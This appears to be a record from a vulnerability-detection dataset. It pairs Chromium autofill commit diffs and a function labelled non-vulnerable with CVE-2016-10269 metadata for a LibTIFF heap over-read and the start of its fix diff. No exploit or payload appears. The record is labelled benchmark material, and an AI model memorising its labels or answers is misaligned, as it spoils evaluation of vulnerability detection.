gfx::GetStringWidth(\n- controller_->GetElidedValueAt(index),\n- controller_->layout_model().GetValueFontListForRow(index));\n- int value_x_align_left =\n- is_rtl ? value_rect.right() - value_width : value_rect.x();\n-\n- canvas->DrawStringRectWithFlags(\n- controller_->GetElidedValueAt(index),\n- controller_->layout_model().GetValueFontListForRow(index),\n- GetNativeTheme()->GetSystemColor(\n- controller_->layout_model().GetValueFontColorIDForRow(index)),\n- gfx::Rect(value_x_align_left, value_rect.y(), value_width,\n- value_rect.height()),\n- text_align);\n-\n- // Draw the label text, if one exists.\n- if (!controller_->GetSuggestionAt(index).label.empty()) {\n- const int label_width = gfx::GetStringWidth(\n- controller_->GetElidedLabelAt(index),\n- controller_->layout_model().GetLabelFontListForRow(index));\n- int label_x_align_left = x_align_left + (is_rtl ? 0 : -label_width);\n-\n- // TODO(crbug.com/678033):Add a GetLabelFontColorForRow function similar to\n- // GetValueFontColorForRow so that the cocoa impl could use it too\n- canvas->DrawStringRectWithFlags(\n- controller_->GetElidedLabelAt(index),\n- controller_->layout_model().GetLabelFontListForRow(index),\n- GetNativeTheme()->GetSystemColor(\n- ui::NativeTheme::kColorId_ResultsTableDimmedText),\n- gfx::Rect(label_x_align_left, entry_rect.y(), label_width,\n- entry_rect.height()),\n- text_align);\n- }\n-}\n-\n-void AutofillPopupViewViews::CreateChildViews() {\n- RemoveAllChildViews(true /* delete_children */);\n-\n- int set_size = controller_->GetLineCount();\n- for (int i = 0; i < set_size; ++i) {\n- AddChildView(new AutofillPopupChildView(controller_->GetSuggestionAt(i),\n- set_size, i + 1));\n- }\n-}\n-\n-AutofillPopupView* AutofillPopupView::Create(\n- AutofillPopupController* controller) {\n-#if defined(OS_MACOSX)\n- // It's possible for the container_view to not be in a window. In that case,\n- // cancel the popup since we can't fully set it up.\n- if (!platform_util::GetTopLevel(controller->container_view()))\n- return nullptr;\n-#endif\n-\n- views::Widget* observing_widget =\n- views::Widget::GetTopLevelWidgetForNativeView(\n- controller->container_view());\n-\n-#if !defined(OS_MACOSX)\n- // If the top level widget can't be found, cancel the popup since we can't\n- // fully set it up. On Mac Cocoa browser, |observing_widget| is null\n- // because the parent is not a views::Widget.\n- if (!observing_widget)\n- return nullptr;\n-#endif\n-\n- if (features::ShouldUseNativeViews())\n- return new AutofillPopupViewNativeViews(controller, observing_widget);\n-\n- return new AutofillPopupViewViews(controller, observing_widget);\n-}\n-\n-} // namespace autofill"}<_**next**_>{"sha": "a75b0d6d064fd02465449352e0b10d4331769ec1", "filename": "chrome/browser/ui/views/autofill/autofill_popup_view_views.h", "status": "removed", "additions": 0, "deletions": 74, "changes": 74, "blob_url": "https://github.com/chromium/chromium/blob/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views.h", "raw_url": "https://github.com/chromium/chromium/raw/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_view_views.h?ref=1b9e54bfbe066e986efe150e1596112dbaab6652", "patch": "@@ -1,74 +0,0 @@\n-// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n-// Use of this source code is governed by a BSD-style license that can be\n-// found in the LICENSE file.\n-\n-#ifndef CHROME_BROWSER_UI_VIEWS_AUTOFILL_AUTOFILL_POPUP_VIEW_VIEWS_H_\n-#define CHROME_BROWSER_UI_VIEWS_AUTOFILL_AUTOFILL_POPUP_VIEW_VIEWS_H_\n-\n-#include <stddef.h>\n-\n-#include \"base/macros.h\"\n-#include \"base/optional.h\"\n-#include \"chrome/browser/ui/autofill/autofill_popup_view.h\"\n-#include \"chrome/browser/ui/views/autofill/autofill_popup_base_view.h\"\n-#include \"ui/views/controls/scroll_view.h\"\n-\n-namespace autofill {\n-\n-class AutofillPopupController;\n-\n-namespace {\n-class AutofillPopupChildView;\n-}\n-\n-// Views toolkit implementation for AutofillPopupView.\n-class AutofillPopupViewViews : public AutofillPopupBaseView,\n- public AutofillPopupView {\n- public:\n- // |controller| should not be null.\n- AutofillPopupViewViews(AutofillPopupController* controller,\n- views::Widget* parent_widget);\n- ~AutofillPopupViewViews() override;\n-\n- private:\n- FRIEND_TEST_ALL_PREFIXES(AutofillPopupViewViewsTest, OnSelectedRowChanged);\n-\n- // AutofillPopupView implementation.\n- void Show() override;\n- void Hide() override;\n- void OnSelectedRowChanged(base::Optional<int> previous_row_selection,\n- base::Optional<int> current_row_selection) override;\n- void OnSuggestionsChanged() override;\n-\n- // views::Views implementation\n- void OnPaint(gfx::Canvas* canvas) override;\n-\n- // AutofillPopupBaseView implementation\n- void AddExtraInitParams(views::Widget::InitParams* params) override;\n- std::unique_ptr<views::View> CreateWrapperView() override;\n- std::unique_ptr<views::Border> CreateBorder() override;\n- void SetClipPath() override;\n- void DoUpdateBoundsAndRedrawPopup() override;\n-\n- // Draw the given autofill entry in |entry_rect|.\n- void DrawAutofillEntry(gfx::Canvas* canvas,\n- int index,\n- const gfx::Rect& entry_rect);\n-\n- // Creates child views based on the suggestions given by |controller_|. These\n- // child views are used for accessibility events only. We need child views to\n- // populate the correct |AXNodeData| when user selects a suggestion.\n- void CreateChildViews();\n-\n- AutofillPopupChildView* GetChildRow(size_t child_index) const;\n-\n- AutofillPopupController* controller_; // Weak reference.\n-\n- views::ScrollView* scroll_view_;\n-\n- DISALLOW_COPY_AND_ASSIGN(AutofillPopupViewViews);\n-};\n-\n-} // namespace autofill\n-\n-#endif // CHROME_BROWSER_UI_VIEWS_AUTOFILL_AUTOFILL_POPUP_VIEW_VIEWS_H_"}<_**next**_>{"sha": "5dc7b541830db9c266e593d962b95195b05fde08", "filename": "chrome/browser/ui/views/autofill/autofill_popup_view_views_browsertest.cc", "status": "removed", "additions": 0, "deletions": 160, "changes": 160, "blob_url": "https://github.com/chromium/chromium/blob/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_view_views_browsertest.cc?ref=1b9e54bfbe066e986efe150e1596112dbaab6652", "patch": "@@ -1,160 +0,0 @@\n-// Copyright 2017 The Chromium Authors. All rights reserved.\n-// Use of this source code is governed by a BSD-style license that can be\n-// found in the LICENSE file.\n-\n-#include \"chrome/browser/ui/views/autofill/autofill_popup_view_views.h\"\n-\n-#include \"base/macros.h\"\n-#include \"base/optional.h\"\n-#include \"base/strings/utf_string_conversions.h\"\n-#include \"build/build_config.h\"\n-#include \"chrome/browser/ui/autofill/autofill_popup_controller.h\"\n-#include \"chrome/browser/ui/autofill/autofill_popup_layout_model.h\"\n-#include \"chrome/browser/ui/browser.h\"\n-#include \"chrome/browser/ui/browser_window.h\"\n-#include \"chrome/browser/ui/tabs/tab_strip_model.h\"\n-#include \"chrome/test/base/in_process_browser_test.h\"\n-#include \"components/autofill/core/browser/suggestion.h\"\n-#include \"testing/gmock/include/gmock/gmock.h\"\n-#include \"testing/gtest/include/gtest/gtest.h\"\n-#include \"ui/gfx/font_list.h\"\n-#include \"ui/gfx/geometry/rect.h\"\n-#include \"ui/gfx/native_widget_types.h\"\n-#include \"ui/native_theme/native_theme.h\"\n-#include \"ui/views/widget/widget.h\"\n-\n-using ::testing::NiceMock;\n-using ::testing::Return;\n-\n-namespace autofill {\n-namespace {\n-\n-constexpr int kNumInitialSuggestions = 3;\n-\n-class MockAutofillPopupController : public AutofillPopupController {\n- public:\n- MockAutofillPopupController() {\n- gfx::FontList::SetDefaultFontDescription(\"Arial, Times New Roman, 15px\");\n- layout_model_.reset(\n- new AutofillPopupLayoutModel(this, false /* is_credit_card_field */));\n- }\n-\n- // AutofillPopupViewDelegate\n- MOCK_METHOD0(Hide, void());\n- MOCK_METHOD0(ViewDestroyed, void());\n- MOCK_METHOD1(SetSelectionAtPoint, void(const gfx::Point& point));\n- MOCK_METHOD0(AcceptSelectedLine, bool());\n- MOCK_METHOD0(SelectionCleared, void());\n- MOCK_CONST_METHOD0(HasSelection, bool());\n- MOCK_CONST_METHOD0(popup_bounds, gfx::Rect());\n- MOCK_CONST_METHOD0(container_view, gfx::NativeView());\n- MOCK_CONST_METHOD0(element_bounds, const gfx::RectF&());\n- MOCK_CONST_METHOD0(IsRTL, bool());\n- const std::vector<autofill::Suggestion> GetSuggestions() override {\n- std::vector<Suggestion> suggestions(GetLineCount(),\n- Suggestion(\"\", \"\", \"\", 0));\n- return suggestions;\n- }\n-#if !defined(OS_ANDROID)\n- MOCK_METHOD1(SetTypesetter, void(gfx::Typesetter typesetter));\n- MOCK_METHOD1(GetElidedValueWidthForRow, int(int row));\n- MOCK_METHOD1(GetElidedLabelWidthForRow, int(int row));\n-#endif\n-\n- // AutofillPopupController\n- MOCK_METHOD0(OnSuggestionsChanged, void());\n- MOCK_METHOD1(AcceptSuggestion, void(int index));\n- MOCK_CONST_METHOD0(GetLineCount, int());\n- const autofill::Suggestion& GetSuggestionAt(int row) const override {\n- return suggestion_;\n- }\n- MOCK_CONST_METHOD1(GetElidedValueAt, const base::string16&(int row));\n- MOCK_CONST_METHOD1(GetElidedLabelAt, const base::string16&(int row));\n- MOCK_METHOD3(GetRemovalConfirmationText,\n- bool(int index, base::string16* title, base::string16* body));\n- MOCK_METHOD1(RemoveSuggestion, bool(int index));\n- MOCK_CONST_METHOD1(GetBackgroundColorIDForRow,\n- ui::NativeTheme::ColorId(int index));\n- MOCK_METHOD1(SetSelectedLine, void(base::Optional<int> selected_line));\n- MOCK_CONST_METHOD0(selected_line, base::Optional<int>());\n- const AutofillPopupLayoutModel& layout_model() const override {\n- return *layout_model_;\n- }\n-\n- private:\n- std::unique_ptr<AutofillPopupLayoutModel> layout_model_;\n- autofill::Suggestion suggestion_;\n-};\n-\n-class TestAutofillPopupViewViews : public AutofillPopupViewViews {\n- public:\n- TestAutofillPopupViewViews(AutofillPopupController* controller,\n- views::Widget* parent_widget)\n- : AutofillPopupViewViews(controller, parent_widget) {}\n- ~TestAutofillPopupViewViews() override {}\n-\n- void DoUpdateBoundsAndRedrawPopup() override {}\n-\n- private:\n- DISALLOW_COPY_AND_ASSIGN(TestAutofillPopupViewViews);\n-};\n-\n-} // namespace\n-\n-class AutofillPopupViewViewsTest : public InProcessBrowserTest {\n- public:\n- AutofillPopupViewViewsTest() {}\n- ~AutofillPopupViewViewsTest() override {}\n-\n- void SetUpOnMainThread() override {\n- gfx::NativeView native_view =\n- browser()->tab_strip_model()->GetActiveWebContents()->GetNativeView();\n- EXPECT_CALL(autofill_popup_controller_, container_view())\n- .WillRepeatedly(Return(native_view));\n- EXPECT_CALL(autofill_popup_controller_, GetLineCount())\n- .WillRepeatedly(Return(kNumInitialSuggestions));\n- autofill_popup_view_views_ = new TestAutofillPopupViewViews(\n- &autofill_popup_controller_,\n- views::Widget::GetWidgetForNativeWindow(\n- browser()->window()->GetNativeWindow()));\n- }\n-\n- protected:\n- NiceMock<MockAutofillPopupController> autofill_popup_controller_;\n- // We intentionally do not destroy this view in the test because of\n- // difficulty in mocking out 'RemoveObserver'.\n- TestAutofillPopupViewViews* autofill_popup_view_views_;\n-};\n-\n-IN_PROC_BROWSER_TEST_F(AutofillPopupViewViewsTest, OnSelectedRowChanged) {\n- // No previous selection -> Selected 1st row.\n- autofill_popup_view_views_->OnSelectedRowChanged(base::nullopt, 0);\n-\n- // Selected 1st row -> Selected 2nd row.\n- autofill_popup_view_views_->OnSelectedRowChanged(0, 1);\n-\n- // Increase number of suggestions.\n- EXPECT_CALL(autofill_popup_controller_, GetLineCount())\n- .WillRepeatedly(Return(kNumInitialSuggestions + 1));\n-\n- autofill_popup_view_views_->OnSuggestionsChanged();\n-\n- // Selected 2nd row -> Selected last row.\n- autofill_popup_view_views_->OnSelectedRowChanged(1, kNumInitialSuggestions);\n-\n- // Decrease number of suggestions.\n- EXPECT_CALL(autofill_popup_controller_, GetLineCount())\n- .WillRepeatedly(Return(kNumInitialSuggestions - 1));\n-\n- autofill_popup_view_views_->OnSuggestionsChanged();\n-\n- // No previous selection (because previously selected row is out of bounds\n- // now)\n- // -> Selected 1st row.\n- autofill_popup_view_views_->OnSelectedRowChanged(base::nullopt, 0);\n-\n- // Selected 1st row -> No selection.\n- autofill_popup_view_views_->OnSelectedRowChanged(0, base::nullopt);\n-}\n-\n-} // namespace autofill"}<_**next**_>{"sha": "d3bf1f6995dc3680121ac6f4518bf30db4e514fe", "filename": "chrome/test/BUILD.gn", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/test/BUILD.gn", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/test/BUILD.gn", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/BUILD.gn?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -1524,7 +1524,6 @@ test(\"browser_tests\") {\n \"../browser/ui/global_error/global_error_service_browsertest.cc\",\n \"../browser/ui/media_router/presentation_receiver_window_controller_browsertest.cc\",\n \"../browser/ui/views/autofill/autofill_popup_base_view_browsertest.cc\",\n- \"../browser/ui/views/autofill/autofill_popup_view_views_browsertest.cc\",\n \"../browser/ui/views/autofill/card_unmask_prompt_view_tester_views.cc\",\n \"../browser/ui/views/autofill/card_unmask_prompt_view_tester_views.h\",\n \"../browser/ui/views/autofill/save_card_bubble_views_browsertest.cc\","}<_**next**_>{"sha": "cb998150b5035c28a1cb51192591a3384677e1c6", "filename": "components/autofill/core/browser/autofill_external_delegate.cc", "status": "modified", "additions": 0, "deletions": 29, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/browser/autofill_external_delegate.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/browser/autofill_external_delegate.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/autofill/core/browser/autofill_external_delegate.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -82,17 +82,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(\n // Hide warnings as appropriate.\n PossiblyRemoveAutofillWarnings(&suggestions);\n \n-#if !defined(OS_ANDROID)\n- // If there are above the fold suggestions at this point, add a separator to\n- // go between the values and menu items. Skip this when using the Native Views\n- // implementation, which has its own logic for distinguishing footer rows.\n- // TODO(crbug.com/831603): Remove this when the relevant feature is on 100%.\n- if (!suggestions.empty() && !features::ShouldUseNativeViews()) {\n- suggestions.push_back(Suggestion());\n- suggestions.back().frontend_id = POPUP_ITEM_ID_SEPARATOR;\n- }\n-#endif\n-\n if (should_show_scan_credit_card_) {\n Suggestion scan_credit_card(\n l10n_util::GetStringUTF16(IDS_AUTOFILL_SCAN_CREDIT_CARD));\n@@ -124,16 +113,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(\n // Append the credit card signin promo, if appropriate (there are no other\n // suggestions).\n if (suggestions.empty() && should_show_cc_signin_promo_) {\n-// No separator on Android.\n-#if !defined(OS_ANDROID)\n- // If there are autofill suggestions, the \"Autofill options\" row was added\n- // above. Add a separator between it and the signin promo.\n- if (has_autofill_suggestions_) {\n- suggestions.push_back(Suggestion());\n- suggestions.back().frontend_id = POPUP_ITEM_ID_SEPARATOR;\n- }\n-#endif\n-\n Suggestion signin_promo_suggestion(\n l10n_util::GetStringUTF16(IDS_AUTOFILL_CREDIT_CARD_SIGNIN_PROMO));\n signin_promo_suggestion.frontend_id =\n@@ -143,14 +122,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(\n signin_metrics::AccessPoint::ACCESS_POINT_AUTOFILL_DROPDOWN);\n }\n \n-#if !defined(OS_ANDROID)\n- // Remove the separator if there is one, and if it is the last element.\n- if (!suggestions.empty() &&\n- suggestions.back().frontend_id == POPUP_ITEM_ID_SEPARATOR) {\n- suggestions.pop_back();\n- }\n-#endif\n-\n // If anything else is added to modify the values after inserting the data\n // list, AutofillPopupControllerImpl::UpdateDataListValues will need to be\n // updated to match."}<_**next**_>{"sha": "e04258933f6296f5eb39abb49e7b955e2c4f4d82", "filename": "components/autofill/core/browser/autofill_external_delegate_unittest.cc", "status": "modified", "additions": 0, "deletions": 42, "changes": 42, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/browser/autofill_external_delegate_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/browser/autofill_external_delegate_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/autofill/core/browser/autofill_external_delegate_unittest.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -893,46 +893,4 @@ TEST_F(AutofillExternalDelegateCardsFromAccountTest,\n /*autoselect_first_suggestion=*/false);\n }\n \n-#if !defined(OS_ANDROID)\n-// Test that the delegate includes a separator between the content rows and the\n-// footer, if and only if the kAutofillExpandedPopupViews feature is disabled.\n-TEST_F(AutofillExternalDelegateUnitTest, IncludeFooterSeparatorForOldUIOnly) {\n- // The guts of the test. This will be run once with the feature enabled,\n- // expecting not to find a separator, and a second time with the feature\n- // disabled, expecting to find a separator.\n- auto tester = [this](bool enabled, auto element_ids) {\n- base::test::ScopedFeatureList scoped_feature_list;\n-\n- if (enabled) {\n- scoped_feature_list.InitAndEnableFeature(\n- features::kAutofillExpandedPopupViews);\n- } else {\n- scoped_feature_list.InitAndDisableFeature(\n- features::kAutofillExpandedPopupViews);\n- }\n-\n- IssueOnQuery(kQueryId);\n-\n- EXPECT_CALL(\n- autofill_client_,\n- ShowAutofillPopup(_, _, SuggestionVectorIdsAre(element_ids), false, _));\n-\n- std::vector<Suggestion> autofill_item;\n- autofill_item.push_back(Suggestion());\n- autofill_item[0].frontend_id = kAutofillProfileId;\n- external_delegate_->OnSuggestionsReturned(\n- kQueryId, autofill_item, /*autoselect_first_suggestion=*/false);\n- };\n-\n- tester(false,\n- testing::ElementsAre(\n- kAutofillProfileId, static_cast<int>(POPUP_ITEM_ID_SEPARATOR),\n- static_cast<int>(POPUP_ITEM_ID_AUTOFILL_OPTIONS)));\n-\n- tester(true, testing::ElementsAre(\n- kAutofillProfileId,\n- static_cast<int>(POPUP_ITEM_ID_AUTOFILL_OPTIONS)));\n-}\n-#endif // !defined(OS_ANDROID)\n-\n } // namespace autofill"}<_**next**_>{"sha": "89f17d0df6de2a2476ca3255d07abe5703935c00", "filename": "components/autofill/core/common/autofill_features.cc", "status": "modified", "additions": 0, "deletions": 13, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/common/autofill_features.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/common/autofill_features.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/autofill/core/common/autofill_features.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -16,7 +16,6 @@\n #include \"components/autofill/core/common/autofill_switches.h\"\n #include \"components/prefs/pref_service.h\"\n #include \"ui/base/l10n/l10n_util.h\"\n-#include \"ui/base/ui_base_features.h\"\n \n namespace autofill {\n namespace features {\n@@ -121,9 +120,6 @@ const base::Feature kAutofillEnforceMinRequiredFieldsForUpload{\n \"AutofillEnforceMinRequiredFieldsForUpload\",\n base::FEATURE_DISABLED_BY_DEFAULT};\n \n-const base::Feature kAutofillExpandedPopupViews{\n- \"AutofillExpandedPopupViews\", base::FEATURE_ENABLED_BY_DEFAULT};\n-\n // When enabled, gets payment identity from sync service instead of\n // identity manager.\n const base::Feature kAutofillGetPaymentsIdentityFromSync{\n@@ -372,15 +368,6 @@ bool IsAutofillManualFallbackEnabled() {\n return base::FeatureList::IsEnabled(kAutofillManualFallbackPhaseTwo);\n }\n \n-bool ShouldUseNativeViews() {\n-#if defined(OS_WIN) || defined(OS_MACOSX) || defined(OS_LINUX)\n- return base::FeatureList::IsEnabled(kAutofillExpandedPopupViews) ||\n- base::FeatureList::IsEnabled(::features::kExperimentalUi);\n-#else\n- return false;\n-#endif\n-}\n-\n bool IsAutofillSaveCardDialogUnlabeledExpirationDateEnabled() {\n return base::FeatureList::IsEnabled(\n kAutofillSaveCardDialogUnlabeledExpirationDate);"}<_**next**_>{"sha": "f38046f7c9fb2e589d5a046b3747ba746aaf1f0d", "filename": "components/autofill/core/common/autofill_features.h", "status": "modified", "additions": 0, "deletions": 6, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/common/autofill_features.h", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/components/autofill/core/common/autofill_features.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/autofill/core/common/autofill_features.h?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -41,7 +41,6 @@ extern const base::Feature kAutofillEnableIFrameSupportOniOS;\n extern const base::Feature kAutofillEnforceMinRequiredFieldsForHeuristics;\n extern const base::Feature kAutofillEnforceMinRequiredFieldsForQuery;\n extern const base::Feature kAutofillEnforceMinRequiredFieldsForUpload;\n-extern const base::Feature kAutofillExpandedPopupViews;\n extern const base::Feature kAutofillGetPaymentsIdentityFromSync;\n extern const base::Feature kAutofillKeyboardAccessory;\n extern const base::Feature kAutofillLocalCardMigrationShowFeedback;\n@@ -148,11 +147,6 @@ bool IsPasswordManualFallbackEnabled();\n // enabled.\n bool IsAutofillManualFallbackEnabled();\n \n-// Returns true if the native Views implementation of the Desktop dropdown\n-// should be used. This will also be true if the kExperimentalUi flag is true,\n-// which forces a bunch of forthcoming UI changes on.\n-bool ShouldUseNativeViews();\n-\n // Returns true if expiration dates on the save card dialog should be\n // unlabeled, i.e. not preceded by \"Exp.\"\n bool IsAutofillSaveCardDialogUnlabeledExpirationDateEnabled();"}<_**next**_>{"sha": "553f664d8d0cf4bc0279cab556250ada124b5d2c", "filename": "testing/variations/fieldtrial_testing_config.json", "status": "modified", "additions": 0, "deletions": 18, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/testing/variations/fieldtrial_testing_config.json", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/testing/variations/fieldtrial_testing_config.json", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/testing/variations/fieldtrial_testing_config.json?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -649,24 +649,6 @@\n ]\n }\n ],\n- \"AutofillExpandedPopupViews\": [\n- {\n- \"platforms\": [\n- \"chromeos\",\n- \"linux\",\n- \"mac\",\n- \"windows\"\n- ],\n- \"experiments\": [\n- {\n- \"name\": \"Enabled\",\n- \"enable_features\": [\n- \"AutofillExpandedPopupViews\"\n- ]\n- }\n- ]\n- }\n- ],\n \"AutofillFieldMetadata\": [\n {\n \"platforms\": ["}
|
bool AutofillExternalDelegate::RemoveSuggestion(const base::string16& value,
int identifier) {
if (identifier > 0)
return manager_->RemoveAutofillProfileOrCreditCard(identifier);
if (identifier == POPUP_ITEM_ID_AUTOCOMPLETE_ENTRY) {
manager_->RemoveAutocompleteEntry(query_field_.name, value);
return true;
}
return false;
}
|
bool AutofillExternalDelegate::RemoveSuggestion(const base::string16& value,
int identifier) {
if (identifier > 0)
return manager_->RemoveAutofillProfileOrCreditCard(identifier);
if (identifier == POPUP_ITEM_ID_AUTOCOMPLETE_ENTRY) {
manager_->RemoveAutocompleteEntry(query_field_.name, value);
return true;
}
return false;
}
|
C
| null | null | null |
@@ -82,17 +82,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(
// Hide warnings as appropriate.
PossiblyRemoveAutofillWarnings(&suggestions);
-#if !defined(OS_ANDROID)
- // If there are above the fold suggestions at this point, add a separator to
- // go between the values and menu items. Skip this when using the Native Views
- // implementation, which has its own logic for distinguishing footer rows.
- // TODO(crbug.com/831603): Remove this when the relevant feature is on 100%.
- if (!suggestions.empty() && !features::ShouldUseNativeViews()) {
- suggestions.push_back(Suggestion());
- suggestions.back().frontend_id = POPUP_ITEM_ID_SEPARATOR;
- }
-#endif
-
if (should_show_scan_credit_card_) {
Suggestion scan_credit_card(
l10n_util::GetStringUTF16(IDS_AUTOFILL_SCAN_CREDIT_CARD));
@@ -124,16 +113,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(
// Append the credit card signin promo, if appropriate (there are no other
// suggestions).
if (suggestions.empty() && should_show_cc_signin_promo_) {
-// No separator on Android.
-#if !defined(OS_ANDROID)
- // If there are autofill suggestions, the "Autofill options" row was added
- // above. Add a separator between it and the signin promo.
- if (has_autofill_suggestions_) {
- suggestions.push_back(Suggestion());
- suggestions.back().frontend_id = POPUP_ITEM_ID_SEPARATOR;
- }
-#endif
-
Suggestion signin_promo_suggestion(
l10n_util::GetStringUTF16(IDS_AUTOFILL_CREDIT_CARD_SIGNIN_PROMO));
signin_promo_suggestion.frontend_id =
@@ -143,14 +122,6 @@ void AutofillExternalDelegate::OnSuggestionsReturned(
signin_metrics::AccessPoint::ACCESS_POINT_AUTOFILL_DROPDOWN);
}
-#if !defined(OS_ANDROID)
- // Remove the separator if there is one, and if it is the last element.
- if (!suggestions.empty() &&
- suggestions.back().frontend_id == POPUP_ITEM_ID_SEPARATOR) {
- suggestions.pop_back();
- }
-#endif
-
// If anything else is added to modify the values after inserting the data
// list, AutofillPopupControllerImpl::UpdateDataListValues will need to be
// updated to match.
|
Chrome
|
f2d26633cbd50735ac2af30436888b71ac0abad3
|
1b9e54bfbe066e986efe150e1596112dbaab6652
| 0
|
bool AutofillExternalDelegate::RemoveSuggestion(const base::string16& value,
int identifier) {
if (identifier > 0)
return manager_->RemoveAutofillProfileOrCreditCard(identifier);
if (identifier == POPUP_ITEM_ID_AUTOCOMPLETE_ENTRY) {
manager_->RemoveAutocompleteEntry(query_field_.name, value);
return true;
}
return false;
}
|
70,240
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-10269
|
https://www.cvedetails.com/cve/CVE-2016-10269/
|
CWE-125
|
Medium
|
Partial
|
Partial
| null |
2017-03-24
| 6.8
|
LibTIFF 4.0.7 allows remote attackers to cause a denial of service (heap-based buffer over-read) or possibly have unspecified other impact via a crafted TIFF image, related to *READ of size 512* and libtiff/tif_unix.c:340:2.
|
2018-03-21
|
DoS
| 0
|
https://github.com/vadz/libtiff/commit/1044b43637fa7f70fb19b93593777b78bd20da86
|
1044b43637fa7f70fb19b93593777b78bd20da86
|
* libtiff/tif_pixarlog.c, libtiff/tif_luv.c: fix heap-based buffer
overflow on generation of PixarLog / LUV compressed files, with
ColorMap, TransferFunction attached and nasty plays with bitspersample.
The fix for LUV has not been tested, but suffers from the same kind
of issue of PixarLog.
Reported by Agostino Sarubbo.
Fixes http://bugzilla.maptools.org/show_bug.cgi?id=2604
| 0
|
libtiff/tif_luv.c
|
{"sha": "93c01f80edf83e0a0d25b8f587a481492f322a80", "filename": "ChangeLog", "status": "modified", "additions": 10, "deletions": 0, "changes": 10, "blob_url": "https://github.com/vadz/libtiff/blob/1044b43637fa7f70fb19b93593777b78bd20da86/ChangeLog", "raw_url": "https://github.com/vadz/libtiff/raw/1044b43637fa7f70fb19b93593777b78bd20da86/ChangeLog", "contents_url": "https://api.github.com/repos/vadz/libtiff/contents/ChangeLog?ref=1044b43637fa7f70fb19b93593777b78bd20da86", "patch": "@@ -1,3 +1,13 @@\n+2016-12-03 Even Rouault <even.rouault at spatialys.com>\n+\n+\t* libtiff/tif_pixarlog.c, libtiff/tif_luv.c: fix heap-based buffer\n+\toverflow on generation of PixarLog / LUV compressed files, with\n+\tColorMap, TransferFunction attached and nasty plays with bitspersample.\n+\tThe fix for LUV has not been tested, but suffers from the same kind\n+\tof issue of PixarLog.\n+\tReported by Agostino Sarubbo.\n+\tFixes http://bugzilla.maptools.org/show_bug.cgi?id=2604\n+\n 2016-12-02 Even Rouault <even.rouault at spatialys.com>\n \n \t* tools/tiffcp.c: avoid uint32 underflow in cpDecodedStrips that "}<_**next**_>{"sha": "e6783db5674c31c9699240001fb54c16e518cda7", "filename": "libtiff/tif_luv.c", "status": "modified", "additions": 14, "deletions": 4, "changes": 18, "blob_url": "https://github.com/vadz/libtiff/blob/1044b43637fa7f70fb19b93593777b78bd20da86/libtiff/tif_luv.c", "raw_url": "https://github.com/vadz/libtiff/raw/1044b43637fa7f70fb19b93593777b78bd20da86/libtiff/tif_luv.c", "contents_url": "https://api.github.com/repos/vadz/libtiff/contents/libtiff/tif_luv.c?ref=1044b43637fa7f70fb19b93593777b78bd20da86", "patch": "@@ -158,6 +158,7 @@\n typedef struct logLuvState LogLuvState;\n \n struct logLuvState {\n+ int encoder_state; /* 1 if encoder correctly initialized */\n \tint user_datafmt; /* user data format */\n \tint encode_meth; /* encoding method */\n \tint pixel_size; /* bytes per pixel */\n@@ -1552,6 +1553,7 @@ LogLuvSetupEncode(TIFF* tif)\n \t\t td->td_photometric, \"must be either LogLUV or LogL\");\n \t\tbreak;\n \t}\n+\tsp->encoder_state = 1;\n \treturn (1);\n notsupported:\n \tTIFFErrorExt(tif->tif_clientdata, module,\n@@ -1563,19 +1565,27 @@ 